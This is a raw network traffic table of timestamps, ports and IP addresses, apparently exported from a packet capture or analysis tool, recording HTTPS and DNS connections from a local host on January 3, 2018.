Jan 3, 2018 13:35:56.404061079 MEZ	49163	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:56.404103041 MEZ	443	49163	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:56.508398056 MEZ	443	49162	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:56.508438110 MEZ	443	49162	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:56.508447886 MEZ	443	49162	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:56.508711100 MEZ	49162	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:56.574453115 MEZ	443	49162	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:56.574691057 MEZ	49162	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:56.593076944 MEZ	49162	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:56.593102932 MEZ	443	49162	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:56.603724957 MEZ	49172	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:56.603761911 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:56.603832006 MEZ	49172	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:56.609705925 MEZ	49172	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:56.609739065 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:56.766570091 MEZ	443	49163	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:56.766599894 MEZ	443	49163	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:56.766622066 MEZ	443	49163	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:56.766717911 MEZ	49163	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:56.880289078 MEZ	443	49163	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:56.880477905 MEZ	49163	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:56.903754950 MEZ	49163	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:56.903789043 MEZ	443	49163	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:56.904819965 MEZ	49173	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:56.904855967 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:56.905222893 MEZ	49173	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:56.905881882 MEZ	49173	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:56.905900955 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:57.108069897 MEZ	443	49162	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:57.108102083 MEZ	443	49162	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:57.108119011 MEZ	443	49162	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:57.108129025 MEZ	443	49162	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:57.108299017 MEZ	49162	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:57.108331919 MEZ	443	49162	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:57.108741999 MEZ	49162	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:57.165780067 MEZ	443	49162	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:57.165829897 MEZ	443	49162	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:57.165838957 MEZ	443	49162	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:57.165996075 MEZ	49162	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:57.233151913 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:57.233185053 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:57.233196974 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:57.233402014 MEZ	49172	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:57.233428001 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:57.234560966 MEZ	49172	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:57.296617985 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:57.296840906 MEZ	49172	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:57.298851013 MEZ	443	49163	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:57.298865080 MEZ	443	49163	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:57.298875093 MEZ	443	49163	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:57.299009085 MEZ	49163	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:57.316903114 MEZ	49172	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:57.316931009 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:57.355328083 MEZ	443	49163	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:57.355350018 MEZ	443	49163	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:57.355530977 MEZ	49163	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:57.358052015 MEZ	443	49163	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:57.358072996 MEZ	443	49163	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:57.358078003 MEZ	443	49163	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:57.358237028 MEZ	49163	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:57.475198030 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:57.475234985 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:57.475263119 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:57.475471020 MEZ	49173	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:57.535209894 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:57.535475016 MEZ	49173	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:57.585875988 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:57.586041927 MEZ	49173	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:57.604724884 MEZ	49173	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:57.604751110 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:57.790174007 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:57.790523052 MEZ	49172	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:57.837021112 MEZ	49172	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:57.837047100 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:58.202281952 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:58.202543020 MEZ	49173	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:58.219453096 MEZ	49173	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:58.219481945 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:58.309952021 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:58.309998989 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:58.310035944 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:58.310234070 MEZ	49172	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:58.354250908 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:58.354280949 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:58.354290962 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:58.354542971 MEZ	49172	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:58.418018103 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:58.418198109 MEZ	49172	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:58.443049908 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:58.443078041 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:58.443088055 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:58.443248034 MEZ	49172	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:58.482476950 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:58.482498884 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:58.482517004 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:58.484582901 MEZ	49172	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:58.547935963 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:58.547964096 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:58.547976017 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:58.547996044 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:58.548325062 MEZ	49172	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:58.548355103 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:58.551153898 MEZ	49172	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:58.612417936 MEZ	49172	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:58.612448931 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:58.685566902 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:58.685602903 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:58.685611963 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:58.685754061 MEZ	49173	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:58.826759100 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:58.826787949 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:58.826807976 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:58.826996088 MEZ	49173	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:58.837506056 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:58.837529898 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:58.837542057 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:58.837718964 MEZ	49173	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:58.837758064 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:58.838824034 MEZ	49173	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:58.888365984 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:58.888395071 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:58.888710976 MEZ	49173	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:58.901563883 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:58.901583910 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:58.901596069 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:58.901798010 MEZ	49173	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:58.965266943 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:58.965293884 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:58.965301991 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:58.965429068 MEZ	49173	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:59.050415993 MEZ	49173	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:59.050441027 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:59.057320118 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:59.057348013 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:59.057357073 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:59.059956074 MEZ	49172	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:59.128247976 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:59.128271103 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:59.128278971 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:59.128429890 MEZ	49172	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:59.186374903 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:59.186548948 MEZ	49172	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:59.279032946 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:59.279062986 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:59.279078007 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:59.279217005 MEZ	49172	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:59.279242992 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:59.282038927 MEZ	49172	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:59.359744072 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:59.359770060 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:59.359781981 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:59.360197067 MEZ	49172	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:59.391814947 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:59.391990900 MEZ	49172	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:59.423563004 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:59.423588991 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:59.423614979 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:59.423747063 MEZ	49172	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:59.490135908 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:59.490161896 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:59.490191936 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:59.490302086 MEZ	49172	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:59.495892048 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:59.495915890 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:59.495937109 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:59.496040106 MEZ	49172	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:59.527744055 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:59.527926922 MEZ	49172	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:59.590459108 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:59.590485096 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:59.590504885 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:59.590631962 MEZ	49172	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:59.590670109 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:59.591078043 MEZ	49172	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:59.639950991 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:59.639991045 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:59.640012980 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:59.640217066 MEZ	49172	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:59.672255039 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:59.672291994 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:59.672312975 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:59.672513008 MEZ	49172	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:59.714106083 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:59.714299917 MEZ	49172	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:59.751871109 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:59.751900911 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:59.751913071 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:59.752130032 MEZ	49172	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:59.758853912 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:59.758882046 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:59.759007931 MEZ	49172	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:59.832329035 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:59.832351923 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:59.832362890 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:59.832653999 MEZ	49172	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:59.879123926 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:59.879162073 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:59.879174948 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:59.879368067 MEZ	49172	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:59.961105108 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:59.961133003 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:59.961153984 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:59.961371899 MEZ	49172	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:59.994724035 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:59.994760036 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:59.994776964 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:59.994963884 MEZ	49172	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:36:00.027842999 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.027977943 MEZ	49172	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:36:00.044389963 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.044423103 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.044435024 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.044544935 MEZ	49172	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:36:00.070560932 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.070586920 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.070599079 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.070748091 MEZ	49173	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:36:00.110387087 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.110409975 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.110414982 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.110585928 MEZ	49173	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:36:00.139612913 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.139668941 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.139703035 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.139765978 MEZ	49173	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:36:00.139811039 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.139827013 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.139837980 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.141067982 MEZ	49173	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:36:00.224227905 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.224282026 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.224288940 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.224383116 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.224401951 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.225939035 MEZ	49173	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:36:00.225960970 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.227454901 MEZ	49173	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:36:00.248482943 MEZ	49162	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:36:00.248512983 MEZ	443	49162	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.274693012 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.274719954 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.274736881 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.275194883 MEZ	49173	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:36:00.306420088 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.307781935 MEZ	49173	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:36:00.423814058 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.423841000 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.423867941 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.424099922 MEZ	49173	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:36:00.449906111 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.449919939 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.449924946 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.450057983 MEZ	49173	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:36:00.450124025 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.450134039 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.450150967 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.452816963 MEZ	49173	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:36:00.512897015 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.512913942 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.512918949 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.513072014 MEZ	49173	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:36:00.513339996 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.513350010 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.513468981 MEZ	49173	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:36:00.558449984 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.558464050 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.558469057 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.558665037 MEZ	49173	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:36:00.591659069 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.591681004 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.591697931 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.591907024 MEZ	49173	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:36:00.638262987 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.638288975 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.638320923 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.638456106 MEZ	49173	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:36:00.670166016 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.670202017 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.670254946 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.670417070 MEZ	49173	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:36:00.670458078 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.670871973 MEZ	49173	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:36:00.709482908 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.709506989 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.709517002 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.709757090 MEZ	49173	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:36:00.734669924 MEZ	443	49162	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.734690905 MEZ	443	49162	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.734705925 MEZ	443	49162	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.734836102 MEZ	49162	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:36:00.771855116 MEZ	443	49162	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.771879911 MEZ	443	49162	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.771902084 MEZ	443	49162	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.772041082 MEZ	49162	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:36:00.876760006 MEZ	443	49162	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.876779079 MEZ	443	49162	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:00.876996994 MEZ	49162	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:36:08.336447954 MEZ	443	49163	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:08.336503983 MEZ	443	49163	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:08.336606979 MEZ	49163	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:36:09.213747978 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:09.213799000 MEZ	443	49172	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:09.214179039 MEZ	49172	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:36:09.582820892 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:09.582871914 MEZ	443	49173	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:09.582962990 MEZ	49173	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:36:10.325602055 MEZ	53667	53	192.168.1.81	8.8.8.8
Jan 3, 2018 13:36:10.702342033 MEZ	51748	53	192.168.1.81	8.8.8.8
Jan 3, 2018 13:36:11.109788895 MEZ	443	49162	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:11.109837055 MEZ	443	49162	94.130.90.154	192.168.1.81
Jan 3, 2018 13:36:11.109911919 MEZ	53	53667	8.8.8.8	192.168.1.81
Jan 3, 2018 13:36:11.109962940 MEZ	49162	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:36:11.116476059 MEZ	49174	443	192.168.1.81	136.243.89.209
Jan 3, 2018 13:36:11.116508007 MEZ	443	49174	136.243.89.209	192.168.1.81
Jan 3, 2018 13:36:11.116609097 MEZ	49174	443	192.168.1.81	136.243.89.209
Jan 3, 2018 13:36:11.117842913 MEZ	49174	443	192.168.1.81	136.243.89.209
Jan 3, 2018 13:36:11.117872953 MEZ	443	49174	136.243.89.209	192.168.1.81
Jan 3, 2018 13:36:11.229295969 MEZ	53	51748	8.8.8.8	192.168.1.81
Jan 3, 2018 13:36:11.231770039 MEZ	49175	443	192.168.1.81	136.243.91.46
Jan 3, 2018 13:36:11.231803894 MEZ	443	49175	136.243.91.46	192.168.1.81
Jan 3, 2018 13:36:11.231900930 MEZ	49175	443	192.168.1.81	136.243.91.46
Jan 3, 2018 13:36:11.232675076 MEZ	49175	443	192.168.1.81	136.243.91.46
Jan 3, 2018 13:36:11.232718945 MEZ	443	49175	136.243.91.46	192.168.1.81
Jan 3, 2018 13:36:11.777132034 MEZ	443	49174	136.243.89.209	192.168.1.81
Jan 3, 2018 13:36:11.777168989 MEZ	443	49174	136.243.89.209	192.168.1.81
Jan 3, 2018 13:36:11.777178049 MEZ	443	49174	136.243.89.209	192.168.1.81
